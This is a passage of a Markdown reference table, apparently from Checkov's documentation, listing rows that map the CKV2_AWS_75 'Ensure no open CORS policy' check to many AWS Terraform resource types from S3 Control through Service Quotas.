[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3327 | CKV2_AWS_75     | resource | aws_s3control_object_lambda_access_point                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3328 | CKV2_AWS_75     | resource | aws_s3control_object_lambda_access_point_policy                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3329 | CKV2_AWS_75     | resource | aws_s3control_storage_lens_configuration                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3330 | CKV2_AWS_75     | resource | aws_s3outposts_endpoint                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3331 | CKV2_AWS_75     | resource | aws_s3tables_namespace                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3332 | CKV2_AWS_75     | resource | aws_s3tables_table                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3333 | CKV2_AWS_75     | resource | aws_s3tables_table_bucket                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3334 | CKV2_AWS_75     | resource | aws_s3tables_table_bucket_policy                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3335 | CKV2_AWS_75     | resource | aws_s3tables_table_policy                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3336 | CKV2_AWS_75     | resource | aws_sagemaker_app                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3337 | CKV2_AWS_75     | resource | aws_sagemaker_app_image_config                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3338 | CKV2_AWS_75     | resource | aws_sagemaker_code_repository                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3339 | CKV2_AWS_75     | resource | aws_sagemaker_data_quality_job_definition                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3340 | CKV2_AWS_75     | resource | aws_sagemaker_device                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3341 | CKV2_AWS_75     | resource | aws_sagemaker_device_fleet                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3342 | CKV2_AWS_75     | resource | aws_sagemaker_domain                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3343 | CKV2_AWS_75     | resource | aws_sagemaker_endpoint                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3344 | CKV2_AWS_75     | resource | aws_sagemaker_endpoint_configuration                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3345 | CKV2_AWS_75     | resource | aws_sagemaker_feature_group                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3346 | CKV2_AWS_75     | resource | aws_sagemaker_flow_definition                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3347 | CKV2_AWS_75     | resource | aws_sagemaker_hub                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3348 | CKV2_AWS_75     | resource | aws_sagemaker_human_task_ui                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3349 | CKV2_AWS_75     | resource | aws_sagemaker_image                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3350 | CKV2_AWS_75     | resource | aws_sagemaker_image_version                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3351 | CKV2_AWS_75     | resource | aws_sagemaker_mlflow_tracking_server                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3352 | CKV2_AWS_75     | resource | aws_sagemaker_model                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3353 | CKV2_AWS_75     | resource | aws_sagemaker_model_package_group                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3354 | CKV2_AWS_75     | resource | aws_sagemaker_model_package_group_policy                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3355 | CKV2_AWS_75     | resource | aws_sagemaker_monitoring_schedule                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3356 | CKV2_AWS_75     | resource | aws_sagemaker_notebook_instance                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3357 | CKV2_AWS_75     | resource | aws_sagemaker_notebook_instance_lifecycle_configuration          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3358 | CKV2_AWS_75     | resource | aws_sagemaker_pipeline                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3359 | CKV2_AWS_75     | resource | aws_sagemaker_project                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3360 | CKV2_AWS_75     | resource | aws_sagemaker_servicecatalog_portfolio_status                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3361 | CKV2_AWS_75     | resource | aws_sagemaker_space                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3362 | CKV2_AWS_75     | resource | aws_sagemaker_studio_lifecycle_config                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3363 | CKV2_AWS_75     | resource | aws_sagemaker_user_profile                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3364 | CKV2_AWS_75     | resource | aws_sagemaker_workforce                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3365 | CKV2_AWS_75     | resource | aws_sagemaker_workteam                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3366 | CKV2_AWS_75     | resource | aws_scheduler_schedule                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3367 | CKV2_AWS_75     | resource | aws_scheduler_schedule_group                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3368 | CKV2_AWS_75     | resource | aws_schemas_discoverer                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3369 | CKV2_AWS_75     | resource | aws_schemas_registry                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3370 | CKV2_AWS_75     | resource | aws_schemas_registry_policy                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3371 | CKV2_AWS_75     | resource | aws_schemas_schema                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3372 | CKV2_AWS_75     | resource | aws_secretsmanager_secret                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3373 | CKV2_AWS_75     | resource | aws_secretsmanager_secret_policy                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3374 | CKV2_AWS_75     | resource | aws_secretsmanager_secret_rotation                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3375 | CKV2_AWS_75     | resource | aws_secretsmanager_secret_version                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3376 | CKV2_AWS_75     | resource | aws_security_group                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3377 | CKV2_AWS_75     | resource | aws_security_group_rule                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3378 | CKV2_AWS_75     | resource | aws_securityhub_account                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3379 | CKV2_AWS_75     | resource | aws_securityhub_action_target                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3380 | CKV2_AWS_75     | resource | aws_securityhub_automation_rule                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3381 | CKV2_AWS_75     | resource | aws_securityhub_configuration_policy                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3382 | CKV2_AWS_75     | resource | aws_securityhub_configuration_policy_association                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3383 | CKV2_AWS_75     | resource | aws_securityhub_finding_aggregator                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3384 | CKV2_AWS_75     | resource | aws_securityhub_insight                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3385 | CKV2_AWS_75     | resource | aws_securityhub_invite_accepter                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3386 | CKV2_AWS_75     | resource | aws_securityhub_member                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3387 | CKV2_AWS_75     | resource | aws_securityhub_organization_admin_account                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3388 | CKV2_AWS_75     | resource | aws_securityhub_organization_configuration                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3389 | CKV2_AWS_75     | resource | aws_securityhub_product_subscription                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3390 | CKV2_AWS_75     | resource | aws_securityhub_standards_control                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3391 | CKV2_AWS_75     | resource | aws_securityhub_standards_control_association                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3392 | CKV2_AWS_75     | resource | aws_securityhub_standards_subscription                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3393 | CKV2_AWS_75     | resource | aws_securitylake_aws_log_source                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3394 | CKV2_AWS_75     | resource | aws_securitylake_custom_log_source                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3395 | CKV2_AWS_75     | resource | aws_securitylake_data_lake                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3396 | CKV2_AWS_75     | resource | aws_securitylake_subscriber                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3397 | CKV2_AWS_75     | resource | aws_securitylake_subscriber_notification                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3398 | CKV2_AWS_75     | resource | aws_serverlessapplicationrepository_cloudformation_stack         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3399 | CKV2_AWS_75     | resource | aws_service_discovery_http_namespace                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3400 | CKV2_AWS_75     | resource | aws_service_discovery_instance                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3401 | CKV2_AWS_75     | resource | aws_service_discovery_private_dns_namespace                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3402 | CKV2_AWS_75     | resource | aws_service_discovery_public_dns_namespace                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3403 | CKV2_AWS_75     | resource | aws_service_discovery_service                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3404 | CKV2_AWS_75     | resource | aws_servicecatalog_budget_resource_association                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3405 | CKV2_AWS_75     | resource | aws_servicecatalog_constraint                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3406 | CKV2_AWS_75     | resource | aws_servicecatalog_organizations_access                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3407 | CKV2_AWS_75     | resource | aws_servicecatalog_portfolio                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3408 | CKV2_AWS_75     | resource | aws_servicecatalog_portfolio_share                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3409 | CKV2_AWS_75     | resource | aws_servicecatalog_principal_portfolio_association               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3410 | CKV2_AWS_75     | resource | aws_servicecatalog_product                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3411 | CKV2_AWS_75     | resource | aws_servicecatalog_product_portfolio_association                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3412 | CKV2_AWS_75     | resource | aws_servicecatalog_provisioned_product                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3413 | CKV2_AWS_75     | resource | aws_servicecatalog_provisioning_artifact                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3414 | CKV2_AWS_75     | resource | aws_servicecatalog_service_action                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3415 | CKV2_AWS_75     | resource | aws_servicecatalog_tag_option                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3416 | CKV2_AWS_75     | resource | aws_servicecatalog_tag_option_resource_association               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3417 | CKV2_AWS_75     | resource | aws_servicecatalogappregistry_application                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3418 | CKV2_AWS_75     | resource | aws_servicecatalogappregistry_attribute_group                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3419 | CKV2_AWS_75     | resource | aws_servicecatalogappregistry_attribute_group_association        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3420 | CKV2_AWS_75     | resource | aws_servicequotas_service_quota                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3421 | CKV2_AWS_75     | resource | aws_servicequotas_template                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3422 | CKV2_AWS_75     | resource | aws_servicequotas_template_association                           | Ensure no open CORS policy                                                                                               